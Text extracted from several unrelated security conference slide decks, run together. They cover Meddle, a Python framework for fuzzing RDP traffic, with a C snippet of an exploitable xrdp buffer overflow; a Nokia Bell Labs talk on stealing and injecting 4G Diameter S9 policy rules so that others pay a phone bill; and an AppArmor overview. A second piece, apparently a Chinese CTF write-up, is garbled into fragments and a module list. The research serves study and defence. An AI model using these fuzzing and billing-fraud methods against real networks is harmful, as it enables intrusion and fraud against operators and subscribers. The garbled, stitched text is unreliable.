[reg_spec, stack_spec] = self.ProcessBase.types.pascal( parameters ) arguments = self.Engine.ParseArguments(stack_spec, reg_spec, context) if self.ProcessBase.verbose: print arguments.ToString() return [arguments.GetFuzzBlockDescriptions(), "Winsock Send Event"] Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Parameters parameters = [ {"name": "socket", "size": self.ProcessBase.types.size_ptr(), "type": None, "fuzz": NOFUZZ }, {"name": "buffer", "size": self.ProcessBase.types.size_ptr(), "type": self.ProcessBase.types.parse_BUFFER, "type_args": "size", "fuzz": NOFUZZ }, {"name": "size", "size": self.ProcessBase.types.size_ptr(), "type": None, "fuzz": NOFUZZ }, {"name": "flags", "size": self.ProcessBase.types.size_ptr(), "type": None, "fuzz": NOFUZZ } ] Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Parameter Structures parameters = [ ... {"name": "buffer", "size": self.ProcessBase.types.size_ptr(), "type": self.ProcessBase.types.parse_BUFFER, "type_args": "size", "fuzz": NOFUZZ }, ... ] def parse_BUFFER(self, parent, address, extra_name, type_args): if type(type_args) is str: # points to argument name size = parent.GetMemberSearchUp(type_args).ToInt() else: # contains exact size size = type_args return [ {"name": extra_name + "BUFFER", "size": size, "type": None, "fuzz": FUZZ } ] Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Arguments arguments = self.Engine.ParseArguments(...) print arguments.ToString() flags at r9: 00 00 00 00 00 00 00 00 ........ size at r8: 13 00 00 00 00 00 00 00 ........ buffer at rdx: E0 98 68 04 00 00 00 00 ..h..... buffer.BUFFER at 0x46898E0: 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ........ ........ 00 00 00 ... socket at rcx: 58 07 00 00 00 00 00 00 X....... returnAddress at 0x25AF918: 7B 26 9A DA FE 07 00 00 {&...... Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target Arguments arguments = self.Engine.ParseArguments(...) print "Sent size = %i" % arguments.size.ToInt() print arguments.buffer.ToString() Sent size = 19 buffer at rdx: 90 ED 29 04 00 00 00 00 ..)..... buffer.BUFFER at 0x429ED90: 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ........ ........ 00 00 00 ... Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Target Target breakpoint hit arguments = self.Engine.ParseArguments(...) print "Sent size = %i" % arguments.size.ToInt() print arguments.buffer.BUFFER.ToString() Sent size = 19 buffer.BUFFER at 0x4907480: 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ........ ........ 00 00 00 ... Sent size = 428 buffer.BUFFER at 0x4907480: 03 00 01 AC 02 F0 80 7F 65 82 01 A0 04 01 01 04 ........ e....... 01 01 01 01 FF 30 19 02 01 22 02 01 02 02 01 00 .....0.. ."...... 02 01 01 02 01 00 02 01 01 02 02 FF FF 02 01 02 ........ ........ 30 19 02 01 01 02 01 01 02 01 01 02 01 01 02 01 0....... ........ 00 02 01 01 02 02 04 20 02 01 02 30 1C 02 02 FF ....... ...0.... FF 02 02 FC 17 02 02 FF FF 02 01 01 02 01 00 02 ........ ........ 01 01 02 02 FF FF 02 01 02 04 82 01 3F 00 05 00 ........ ....?... 14 7C 00 01 81 36 00 08 00 10 00 01 C0 00 44 75 .|...6.. ......Du 63 61 81 28 01 C0 D8 00 04 00 08 00 80 07 38 04 ca.(.... ......8. 01 CA 03 AA 09 04 00 00 B1 1D 00 00 47 00 4C 00 ........ ....G.L. 4D 00 43 00 44 00 4F 00 4E 00 41 00 2D 00 50 00 M.C.D.O. N.A.-.P. Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Process Process Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Process Process class ProcessRdp(ProcessBase): def __init__(self, controller, crashdump_folder, breakpoint_handler, pid, unique_identifier, verbose): # Specific options self.path_to_exe = b"C:\\Windows\\System32\\mstsc.exe" self.command_line = b"mstsc.exe /v:192.168.110.134" # Initialize self.initialize(...) def on_debugger_attached(self, Engine): # Attach the targets to the process ... Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Process Process def on_debugger_attached(self, Engine): # Set the types self.Engine = Engine self.types = meddle_types(Engine) # Add the targets #Engine.AddTarget(Target_RDP_RC4) Engine.AddTarget(Target_Winsock_Send) # Handle process loaded Engine.HandleProcessLoaded() # Resume the process. Was created suspended. if self.start_th >= 0: windll.kernel32.ResumeThread(self.start_th); Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Measurement Instance # Perform an initial measurement mBreakpoint = BreakpointMeasurement() mProcess = ProcessRdp(self, "C:\\Crash\\", mBreakpoint, -1, 0, True ) self.CEngine.AttachProcess(mProcess) sleep(5) measurements = mBreakpoint.measurement mProcess.stop() Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Measurement Instance class BreakpointMeasurement: def __init__(self): self.measurement = [] def breakpoint_hit(self, parent, target, event_name, address, context, th): [fuzz_blocks, fuzz_name] = target.breakpoint_hit(event_name, address, context, th) if fuzz_blocks != None: # Record the possible attack self.measurement += [[target.__class__.__name__, fuzz_name, len(fuzz_blocks)]] Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Meddle Controller Controller Attack Instance breakpointSeed = self.generator.randint(1,10000000) newBreakpoint = BreakpointAttack(5, attackEventNumber, attackEventName, breakpointSeed ) newProcess = ProcessNotepad(self, "C:\\Crash\\", newBreakpoint, -1, uniqueId, False ) self.CEngine.AttachProcess(newProcess) uniqueId+=1 Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server XRDP Demo 1 Diagram Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server XRDP Demo 1 Demo 1: https://github.com/glmcdona/meddle/tree/master/examples /example mstsc Fuzz ws2 32.dll::send() calls from rdp client during connection Success: Crash of XRDP server Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server RC4 Encryption Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server RC4 Encryption class Target_PrintSymbols(TargetBase): def __init__(self, Engine, ProcessBase): ... self.hook_symbols = True # Hook pdb symbols self.libraries = ["mstscax.dll"] ... self.functions_regex = re.compile(".*",re.IGNORECASE) ... def breakpoint_hit(self, event_name, address, context, th): print event_name return [[],[]] Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server RC4 Encryption ... mstscax.dll::rc4 mstscax.dll::?SendBuffer@CMCS@@UEAAJPEAVITSNetBuffer@@KKKKK@Z mstscax.dll::?SendBuffer@CTSX224Filter@@UEAAJPEAVITSNetBuffer@@KKKKK@Z ... mstscax.dll::?RunQueueEvent@CTSThread@@IEAAJPEAVCTSMsg@@@Z mstscax.dll::?OnTDFlushSendQueue@CTD@@QEAAJPEAVITSAsyncResult@@_K@Z Sent at 0x4D00EF4: 03 00 00 60 02 F0 80 64 00 01 03 EB 70 52 08 00 ...‘...d ....pR.. 00 00 F4 31 42 EF BD FA 21 3D 36 D1 4C 71 CB 91 ...1B... !=6.Lq.. CA 03 DB B2 A9 9D B5 86 52 A1 F6 4D 5E 6E C7 8D ........ R..M^n.. 67 B4 D2 53 BE C5 B5 55 98 1C 45 31 13 0A DD CF g..S...U ..E1.... 06 37 6B 69 C6 60 EF A3 C1 EC F6 AB E5 70 96 73 .7ki.‘.. .....p.s 32 9B 4E ED 7D 40 0E A4 C7 20 F2 A3 69 15 0F 9A 2.N.}@.. . ..i... Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server RC4 Encryption class Target_RDP_RC4(TargetBase): def __init__(self, Engine, ProcessBase): ... self.hook_symbols = True # Hook pdb symbols self.libraries = ["mstscax.dll"] ... self.functions = ["rc4"] ... def breakpoint_hit(self, event_name, address, context, th): parameters = [ ... ] [reg_spec, stack_spec] = self.ProcessBase.types.pascal( para arguments = self.Engine.ParseArguments(stack_spec, reg_spec, return [arguments.GetFuzzBlockDescriptions(), "RC4 buffer"] Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server XRDP Demo 2 Diagram Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server XRDP Demo 2 Demo 2: https://github.com/glmcdona/meddle/tree/master/examples /example mstsc Fuzz ws2 32.dll::rc4() calls from rdp client during connection Success: Crash of XRDP server Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server Received Data More Complicated def breakpoint_hit(self, event_name, address, context, th): if event_name == "ws2_32.dll::recv": ... self.Engine.AddBreakpoint(self, arguments.returnAddress.ToPtr(), "return") self.buffers[str(th)] = arguments ... elif event_name == "return": ... # Parse the return value and read output buffer ... Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server Vulnerabilities XRDP v0.60 and below vulnerable. Some RCE before authentication: Bu↵er-overflow in xrdp mcs recv connect initial() Out-of-bounds bitmap cache reference xrdp cache add bitmap() Large num events causes information disclosure and DOS conditions Number of channels attack xrdp sec process mcs data channels() Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion XRDP Server Vulnerabilities static int APP_CC xrdp_mcs_recv_connect_initial( struct xrdp_mcs* self) { int len; struct stream* s; init_stream(s, 8192); // Fixed size buffer ... // Overflow. ’len’ controlled, copied to fixed buffer out_uint8a(self->client_mcs_data, s->p, len); } Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion DeviceIoControl Demo DeviceIoControl BOOL WINAPI DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, lpOverlapped); Communication to kernel-mode Control code to device driver Input and output bu↵er eg. low level disk read/write Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion DeviceIoControl Demo Devices Communication Run Notepad ! Save As ! Network: Number of events being attacked by name: 728 \??\Nsi 64 \??\MountPointManager 20 \Device\LanmanDatagramReceiver 16 \Device\KsecDD 12 \Device\Afd\Endpoint 6 \??\C: 6 \??\NvAdminDevice 4 \??\C:\Users 4 \DEVICE\NETBT_TCPIP_{09AEF42F-B3C7-4854-B4FB-D673B5AD51D5} 4 \??\C:\Users\glmcdona\Documents\Visual Studio 2012\Projects 4 \??\C:\Users\glmcdona\Documents 4 \DEVICE\NETBT_TCPIP_{225A69B0-2055-4DF4-87CB-F3AC50134FE2} 4 \DEVICE\NETBT_TCPIP_{8386C8AD-BABB-4F8E-B85F-3D56FC700D9A} 4 \DEVICE\NETBT_TCPIP_{146BFC43-FB56-4EB3-98D6-E72912BF265E} Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion DeviceIoControl Demo Demo 3 Using Meddle to dump (or attack) DeviceIoControl: https://github.com/glmcdona/meddle/tree/master/examples /example deviceiocontrol ntdll.dll::NtDeviceIoControlFile Device handle to name mapping via create hooks Dealing with more complex argument types Capturing return values/output bu↵ers Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Malware Sandbox Demo Malware Sandbox: Demo 4 Simple sandbox: https://github.com/glmcdona/meddle/tree/master/examples /example sandbox Process forking Traces File read/writes Registry changes Network activity Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Conclusion Thanks for attending! https://github.com/glmcdona/meddle Contributors welcome Testers needed glmcdona@gmail.com Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Bibliography I [1] Immunity, SPIKE, online:http://www.immunitysec.com/resources-freesoftware.shtml [2] CERT, Basic Fuzzing Framework (BBF), online: http://www.cert.org/vulnerability-analysis/tools/b↵.cfm [3] Godefroid, P., Levin, M. Y., Molnar, D. A. (2008, February). Automated Whitebox Fuzz Testing. In NDSS (Vol. 8, pp. 151-166). [4] Gorbunov, S., Rosenbloom, A. (2010). Autofuzz: Automated network protocol fuzzing framework. IJCSNS, 10(8), 239. online:http://autofuzz.sourceforge.net/ [5] David Zimmer, COMRaider, online:https://github.com/dzzie/COMRaider Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development Outline Background Meddle Framework XRDP Fuzzing DeviceIoControl Sandbox Conclusion Bibliography II [6] eSage Lab, IOCTL Fuzzer, online:https://code.google.com/p/ioctlfuzzer/ [7] Google, Fuzzing at Scale, online:http://googleonlinesecurity.blogspot.ca/2011/08/fuzzing-at- scale.html Geo↵ McDonald glmcdona@gmail.com, unaffiliated presentation Meddle: Framework for piggy-back fuzzing and tool development
pdf
0x00 0x01 web swingsakurawebpandap webweb webweb uaf webidaida C++ webpwn sakuraweb 6 web SQLsqlitesqlite pwn smugglingssrf127.0.0.1redisSSRFpwnwebpwn 0x02 httpd.conf mpm_worker_module modules/mod_mpm_worker.so // auth_kerb_module modules/mod_auth_kerb.so //kerberos authn_core_module modules/mod_authn_core.so //httpbasicldap authz_user_module modules/mod_authz_user.so // authz_core_module modules/mod_authz_core.so // access_compat_module modules/mod_access_compat.so //ip auth_basic_module modules/mod_auth_basic.so //basic socache_shmcb_module modules/mod_socache_shmcb.so // reqtimeout_module modules/mod_reqtimeout.so // filter_module modules/mod_filter.so // deflate_module modules/mod_deflate.so // mime_module modules/mod_mime.so // env_module modules/mod_env.so //apache expires_module modules/mod_expires.so // headers_module modules/mod_headers.so // setenvif_module modules/mod_setenvif.so //cgi proxy_module modules/mod_proxy.so // ssl_module modules/mod_ssl.so //sslv3tls v1.x unixd_module modules/mod_unixd.so // dir_module modules/mod_dir.so // alias_module modules/mod_alias.so //aliasscriptalias rewrite_module modules/mod_rewrite.so //url LoadModule proxy_http_module modules/mod_proxy_http.so //http LoadModule svpn_web_module modules/mod_svpn_web.so //proxy twf_module modules/mod_twf.so mdm_module modules/mod_mdm.so regex_module modules/mod_regex.so mvcon_module modules/mod_mvcon.so comm_check_module modules/mod_comm_check.so // service_downgrade_module modules/mod_service_downgrade.so // proxymod_proxy.so “”ida patch review 0x03 lib liblibf5 liblibso soso 0x04
pdf
1 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs 4G - Who is paying your cellular phone bill? Silke Holtmanns Isha Singh Nokia Bell Labs 2 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs Industrial Security Research? 3 Bell Labs •  Theoretical studies go into attack and countermeasure design •  Validation and awareness of our research by GSMA standards input and publication •  Customer feedback and test results allow us to fine-tune and optimize our countermeasures •  Research input will fit product needs and operators requests •  Operator needs can be discovered ”live” for new research challenges and disruptive new solutions Nokia Bell Labs – Future Attacks and Mitigation Research that solves real problems together with our customers and sometimes even competitors Lab Problem study / Threats/Attack Design Attack Testing Counter measures Validation and Awareness Customer Feedback Product Improvements Bell Labs Research Lifecycle 4 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs You connect What does actually happen? 5 Bell Labs Roaming Why should you care? Source: DefCon, National Geographics, Wikipedia You connected to AT&T, Verizon, T-Mobile, Sprint DefCon participants CMCC, Airtel, MegaFon, Telenor My colleagues, friends, family connected to DNA, Elisa, Telia 6 Bell Labs Connecting networks – The hidden private Internet The Interconnection Network (IPX) 7 Bell Labs I switch on my phone Las Vegas Antenna Core Network Carrier / IPX Carrier / IPX Core Network Authentication -> run to home network Checking subscriber 8 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs What is this secret network? Where does it come from? 9 Bell Labs <Change information classification in footer> © Nokia 2016 The good auld history 1981 – Nordic Operator Meeting Need to call my wife, she has birthday today. Stupid that I can not use my mobile. The sauna is not hot enough. Lets connect the networks. So you call me and I can heat up the sauna before you arrive. The beer is warm…. Should be longer in the fridge. Source: Kauppalehti.fi / Erja Lempinen 10 Bell Labs <Change information classification in footer> © Nokia 2016 Starting of practical discusions Cold beer would be nicer. Yeah we should connect the networks…..then you can put it before in the fridge in time. We would need a cable under the water of the baltic sea… Source: Kauppalehti.fi / Erja Lempinen 11 Bell Labs The technical details were worked out Some new protocol is needed for this. We don’t need security. It is a closed network just for us We could invite some other operators. Can you pass me another beer and the mustard? People will love it. Pizza delivery everywhere. I know someone in ITU who can help The networks are owned by the governments anyway. Source: Kauppalehti.fi / Erja Lempinen 12 Bell Labs •  Started with 5 Nordic operators and calls only about 35 years ago •  Now about 2000 companies connected to it -  Mobile operators -  Service providers (SMS aggregators, password recovery) -  Satelite communication providers etc •  Very inhomogenous operator structure •  Networks are a mix and match -  2G, 2.5G, 3G, 4G and now 5G -  Different hardware, protocols, products, releases -  Many services voice, SMS, MMS, IMS, data, VoIP •  Network evolved, but security awareness only recently started (2014) Evolutions of IPX SMS providers 13 Bell Labs SEP – Somebody Else Problem? Message for you….. 14 Bell Labs It is not only you that is ”reachable” 15 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs Security? 16 Bell Labs Source: wired, the intercept, Verint skylock product description, vault.co, trace any mobile, bankinfosecurity, the hill Who would hack this network 17 Bell Labs Source: Security Week, The register, YouTube, wireless, wired, techworm Existing Attacks for the ”old” SS7 •  Location Tracking •  Eavesdropping •  Fraud •  Denial of Service user & network •  Credential theft •  Data session hijacking •  Unblocking stolen phone •  SMS interception •  One time password theft and account takeover for banks, Telegram, Facebook, Whatsapp, bitcoin wallet Most of the attacks today are still SS7 – but things change 18 Bell Labs How do attackers get in Rent a Service Kick in the door Hack via Internet Social Engineering Become an Operator Bribing and Employee 19 Bell Labs That is how they get in Well, of course there might be legitimate reason…maybe…. Some big Asian country 20 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs New protocol - New luck? 21 Bell Labs I switch on my phone Las Vegas Antenna Core Network Carrier / IPX Carrier / IPX Core Network Checking subscriber: ”Hey, does she have money, and what did he pay for” ”Make sure it is really her” 22 Bell Labs UE eNB MME HSS SGW PCRF PGW S9 Network used for testing of attack 23 Bell Labs 24 Bell Labs IPX S9 S9 Operator A Operator B Operator D Operator F Operators with connected S9 billing interface 25 Bell Labs S1 MME HSS SGW PGW PCRF Here You Are... eNB INTERNET S6a S5 S11 Gx Network Architecture (3G/4G) 26 Bell Labs 27 Bell Labs Visited - PCRF Home - PCRF S9 CCR CCA RAR RAA Credit Control Request -  Money? -  What kind of service? Re-Authentication Request -  All kind of control and information -  PCC management Normal incoming request for roaming (Fin in US) 28 Bell Labs •  Policy Charging Control -  Defines everything about your subsription -  Data type -  Data rates -  Whatever cellular service you can think off •  Defines how to handle you and what to grant you ”service flow filters” •  Usually identified by a string •  My own subscription is company paid and quite ”generous” -  Perfect target for an attacker What is a ”PCC”? Something you all have 29 Bell Labs Diameter Routing Issue – Two Possibilities how to route…..Hop-by-Hop Core Network Carrier / IPX Carrier / IPX Core Network Request Orig: FakeFin Dest: US_NW Hop-by-hop ID: 3 Attacker Request Orig: FakeFin Dest: US_NW Hop-by-hop ID: 2 Request Orig: FakeFin Dest: US_NW Hop-by-hop ID: 1 Answer Orig: US_NW Hop-by-hop ID: 3 Answer Orig: US_NW Hop-by-hop ID: 2 Answer Orig: US_NW Hop-by-hop ID: 1 30 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs Attack 1.  Steal PCC of good subscription 2.  Update cheap subscription with PCC of good subscripion 31 Bell Labs V-PCRF H-PCRF S9 CCR CCA Credit Control Request -  I have a customer, lets do business Attacker Attack scenario against finnish operator – Request PCC via CCR Message Format: <CC-Request> ::= < Diameter Header: 272, REQ, PXY > < Session-Id > { Origin-Host } Diameter Edge Agent (DEA) { Origin-Realm } Used operator { Destination-Realm } 32 Bell Labs H-PCRF H-PCRF S9 RAR RAA Re-Authentication Request (RAR) -  IMSI Re-Authentication Answer (RAA) -  QoS-Rule-Install AVP Attacker Requesting PCC via RAR (posing as home network) 33 Bell Labs 34 Bell Labs H-PCRF H-PCRF S9 RAR RAA Attacker( Re-Authentication Request -  QoS-Rule-Install Answer does not matter Attack Scenario 1: Putting PCC via RAR (posing as home network) 36 Bell Labs H-PCRF V-PCRF S9 RAR RAA Re-Authentication Request (RAR) -  IMSI Re-Authentication Answer (RAA) -  QoS-Rule-Install AVP Attacker Attack Scenario 2: Putting PCC via RAR to outgoing roamer 37 Bell Labs 38 Bell Labs 39 Bell Labs Before and After 40 Bell Labs •  Attacker: -  Better services -  Shifting the costs – Letting somebody else pay the phone bill -  Re-selling ”opportunity” •  Users: -  Might be billed for services he has not used (in particular company subscriptions are at risk) •  Operators: -  Bill disputes (service desks) -  Loss of coporate customers -  Costs with partners that can not be charged to a user •  IPX carriers still want to see their money Impacts 41 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs Countermeasures 42 Bell Labs Switch it off – build it from scratch? 43 Bell Labs •  S9 Interface -> use IPSec with trusted partners directly •  S9 only open on need basis •  Routing via origin realm, origin host •  IMSI range – operator match •  Check not to get messages from yourself •  Logical seperation of visitors and own subscribers •  Location distance •  Fingerprint partner •  Fingerprint ”flows” Countermeasures For Operators For “normal” Users •  Check your bill •  Keep an eye on the news •  Security and network protection is something that needs to be part of a Service Layer Agreement •  It is a quality indicator, similar to bandwith and coverage For “corporate” Users 44 <Change information classification in footer> © Nokia 2016 Bell Labs Bell Labs Thanks to EU SCOTT Project for funding part of this research Questions? Silke.Holtmanns@nokia.com
pdf
Securing Linux Systems with AppArmor Crispin Cowan, PhD Director of Software Engineering Security Architect, SUSE Linux AppArmor: Easy-to-use Security for Ubuntu Linux Crispin Cowan, PhD Security Architect, SUSE What Is This 'AppArmor' Thing and Why Should I Care? © Novell Inc. All rights reserved 3 Agenda Overview A Closer Look at AppArmor Deployment Scenarios Demonstration of AppArmor Competitive Positioning AppArmor Futures © Novell Inc. All rights reserved 4 Software Security Problem Problem: Imperfect software :-) – Reliable software does what it is supposed to do – Secure software does what it is supposed to do, and nothing else Solution: only use perfect software ... slight supply problem :-) © Novell Inc. All rights reserved 5 AppArmor Solution Enforce that applications only get to do what they are supposed to do What means “do”? – At ultimate detail, this is the code itself – But we clearly can't get that right :-) – Need something simpler, more abstract Resources: – Restrict the application to only access the OS resources it should need © Novell Inc. All rights reserved 6 What Would You Do With That? Make a server network secure: – Confine all programs with open network ports – If all open ports lead to confined processes, then you have completely defined policy for what a network user or attacker can do – Yet far from having created policy for thw whole system © Novell Inc. All rights reserved 7 Is that really secure? Hard to say Security is semi-decidable – You can only tell when something is insecure – Hence all the Defcon talks on breaking something, and few on securing something So lets put it to a practical test – Put it in competition at Defcon and let people beat on it © Novell Inc. All rights reserved 8 Defcon CtF 2002-5 a la Ghettohackers Some real-world red teaming Play an Immunix server in the Defcon Capture the Flag (CtF) games Almost no holds barred: – No flooding – No physical attacks New gaming rig designed by the Ghettohackers © Novell Inc. All rights reserved 9 Basic Defcon CtF Rules Player Nodes © Novell Inc. All rights reserved 10 Basic Defcon CtF Rules Player Nodes Score’bot Polls player nodes, Looking for req. services If all services found ... © Novell Inc. All rights reserved 11 Basic Defcon CtF Rules Player Nodes Score’bot Polls player nodes, Looking for req. services If all services found, Score one point for the Flag currently on that node © Novell Inc. All rights reserved 12 Basic Defcon CtF Rules Player Nodes Score’bot Polls player nodes, Looking for req. services If all services found, Score one point for the Flag currently on that node … while each team tries to replace others’ flags AppArmor A Closer Look © Novell Inc. All rights reserved 14 Linux 2.6 Kernel AppArmor Architecture Linux OS Component Desktop Application Server Application YaST Console Reporting & Alerting user interfaces AppArmor AppArmor Module LSM Interface Reporting & Alerting Application Profiles © Novell Inc. All rights reserved 15 Critical Issue #1: Complete Mediation Must not be possible to bypass HIPS system • Must be in the kernel AppArmor uses LSM interface in 2.6 kernel • LSM (Linux Security Module) provides in-kernel mediation without having to maintain a patched kernel • Provides an open standard API for access control module • Precise information on application behavior, accuracy, performance • Provides highest quality non-bypassable mediation © Novell Inc. All rights reserved 16 Critical Issue #2: Security Model Misuse prevention vs. anomaly prevention • Misuse prevention easier to manage • Anomaly prevention much more secure, traditionally hard to use AppArmor is easy anomaly prevention for application security • Focus on application security • Name-based access control for ease of understanding policy • Hybrid white list/black list • White list within an application profile • Black list system-wide AppArmor Per - Application Security DNS Print Web CGI Mail File © Novell Inc. All rights reserved 17 AppArmor Security Profile Whenever a protected program runs regardless of UID, AppArmor controls: – The POSIX capabilities it can have (even if it is running as root) – The directories/files it can read/write/execute /usr/sbin/ntpd { #include <abstractions/base> #include <abstractions/nameservice> capability ipc_lock, capability net_bind_service, capability sys_time, capability sys_chroot, capability setuid, /etc/ntp.conf r, /etc/ntp/drift* rwl, /etc/ntp/keys r, /etc/ntp/step-tickers r, /tmp/ntp* rwl, /usr/sbin/ntpd rix, /var/log/ntp w, /var/log/ntp.log w, /var/run/ntpd.pid w, /var/lib/ntp/drift rwl, /var/lib/ntp/drift.TEMP rwl, /var/lib/ntp/var/run/ntp/ntpd.pid w, /var/lib/ntp/drift/ntp.drift r, /drift/ntp.drift.TEMP rwl, /drift/ntp.drift rwl, } Example security profile for ntpd © Novell Inc. All rights reserved 18 Automated Workflow /usr/sbin/ntpd { #include <abstractions/base> #include <abstractions/nameservice> capability ipc_lock, capability net_bind_service, capability sys_time, capability sys_chroot, capability setuid, /etc/ntp.conf r, /etc/ntp/drift* rwl, /etc/ntp/keys r, /etc/ntp/step-tickers r, /tmp/ntp* rwl, /usr/sbin/ntpd rix, /var/log/ntp w, /var/log/ntp.log w, /var/run/ntpd.pid w, © Novell Inc. All rights reserved 19 Native Unix Syntax, Semantics AppArmor access controls reflect classic Unix permission patterns > Complements Unix permissions rather than overlaying a new paradigm Regular expressions in AppArmor rules > /dev/{,u}random matches /dev/random and /dev/urandom > /lib/ld-*.so* matches most of the libraries in /lib > /home/*/.plan matches everyone’s .plan file > /home/*/public_html/** matches everyone’s public HTML directory tree © Novell Inc. All rights reserved 20 Profile Building Blocks A set of “foundation class” rules that can be #include'd in your profiles – base: needed by nearly all programs – authentication: program will authenticate users – console: program interacts with TTY consoles – kerberos: uses Kerberos cryptography – nameservice: program needs to look up domain names – wutmp: program updates user login logs © Novell Inc. All rights reserved 21 